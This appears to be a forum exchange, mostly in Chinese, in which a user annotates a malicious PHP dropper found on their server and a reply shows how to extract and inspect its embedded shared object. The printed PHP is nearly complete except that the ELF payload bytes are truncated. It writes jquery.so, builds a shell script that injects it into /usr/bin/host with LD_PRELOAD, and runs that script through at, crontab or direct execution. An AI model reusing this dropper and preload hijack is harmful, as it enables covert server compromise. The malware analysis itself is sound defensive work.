我试图分析代码。看看这个并检查我对 shell 脚本“1.sh”的评论。在我看来，删除 PHP 脚本是不够的。
<?php
//probably the attacker wants to check that the script works.
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
//redefine file_put_contents if doesn't exist
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
//kill all running instances of host command. "host" command is used for DNS lookups among other things.
@system("killall -9 ".basename("/usr/bin/host"));
//32 bit
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
//64 bit
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
//decide on the architecture based on the value of max int
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
//the hex based on architecture. "so" probably contains a function() used by "host". The attacker is replacing it later before running "host" command.
$so = $arch == 32 ? $so32 : $so64;
//read 8 bytes from "host" binary file, and unpack it as an unsigned char.
$f = fopen("/usr/bin/host", "rb");
if ($f) {
//n is an array of unsigned chars. Each array item can be (0-255)
$n = unpack("C*", fread($f, 8));
//convert to ascii, and replace the 7th character in the string with a value obtained from "hosts" binary file.
//This vale from "hosts" will be specific to current server/environment - set during compilation/installation.
//NOTE: The contents of "so" string, will be written to a new file "jquery.so".
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
//the shared object
$n = file_put_contents("./jquery.so", $so);
//The shared object "jquery.so" uses an environment variable named "AU". It's more clear later.
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
//should give "host"
$HBN=basename("/usr/bin/host");
//current dir
$SCP=getcwd();
//Examining the following line, here's what it writes to 1.sh
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
/*
* #!/bin/sh
* cd '/path/to/1.sh'
* if [ -f './jquery.so' ];then
* killall -9 host;
* export AU='MYSERVER.COM/THE/REQUEST/URI' //this will be referenced in "jquery.so"
* export LD_PRELOAD=./jquery.so //load the shared object before executing "host" command. THIS IS THE CORE OF THE ATTACK. Load the attacker's shared object(which contains his function, lets call it "xyz") before executing "host" command.
* /usr/bin/host //execute. At that point, if "host" is making use of function "xyz", it would have been replaced by malicious "xyz" from "jquery.so" And since you don't know what the attacker function is actually doing, you should assume YOUR SYSTEM IS COMPROMISED.
* unset LD_PRELOAD
* crontab -l|grep -v '1\.sh'|grep -v crontab|crontab //not sure about this.
* fi
* rm 1.sh //remove
* exit 0
*/
@chmod("1.sh", 0777);
@system("at now -f 1.sh", $ret); //execute 1.sh. It will be deleted once it's executed as per the "rm" statement.
if ($ret == 0) {
//try for 5 seconds until the file is deleted (hence executed). If so, then all good.
for ($i = 0; $i < 5; $i++) {
if (! @file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
//another attempt to execute the file in case the above failed.
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
//keep trying for 60 seconds until the file is deleted (as per the crontab setup.)
for ($i = 0; $i < 62; $i++) {
if (! @file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
//the last resort if the previous execute attempts didn't work.
@system("./1.sh");
@unlink("1.sh");
?>
这是更多信息。首先，我们可以使用此代码生成“.so”文件。
<?php
//build the attack string (this contains the hex representation of the attacker complied/linked program)
$so32="\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00.....";
//print it. This will output the binary
echo $so32;
?>
//run
php hack.php > jquery.so
此时，我们拥有了攻击者在运行“host”之前加载的相同共享对象。使用“字符串”命令：
$ strings ./jquery.so
Output:
write
unlink
pthread_mutex_lock
pthread_mutex_unlock
gettimeofday
free
realloc
strdup
read
getaddrinfo
freeaddrinfo
socket
setsockopt
connect
malloc
mmap
munmap
usleep
strcmp
dlclose
pthread_join
__errno_location
strncmp
sprintf
strcpy
time
vsnprintf
strcat
strstr
atoi
strchr
dlopen
dlsym
pthread_create
srandom
lseek
ftruncate
umask
setsid
chroot
_exit
signal
fork
dladdr
realpath
getpid
execl
wait
getsockname
getenv
geteuid
unsetenv
popen
fgets
fclose
QQRW
1c2#N
v[uq
M!k(q.%
jc[Sj
F,%s,%x
R,%d,%d,%d,%s,%s,
P,%u,%u,%u,%u,%u
POST %s HTTP/1.0
Host: %s
Pragma: 1337
Content-Length: %d
core
%s/%s
|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
/dev/null
%s/%c.%d
(null)
ROOT
LD_PRELOAD
/usr/bin/uname -a
/tmp
如您所见，他的 hack 似乎使用了很多功能，包括他在某处发出 POST 请求。当然不可能从上面弄清楚，但会给你一些线索。
如果你想更进一步，你可以查看 ELF 反编译器。但我怀疑你能否得出任何结论性的结论。我不是专家，但我的建议是继续监视您的网络活动，以发现任何异常情况。
“文件”命令为您提供了一些关于文件的信息——因此是 ELF 反编译器。
$ file ./jquery..so
Output:
./jquery.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped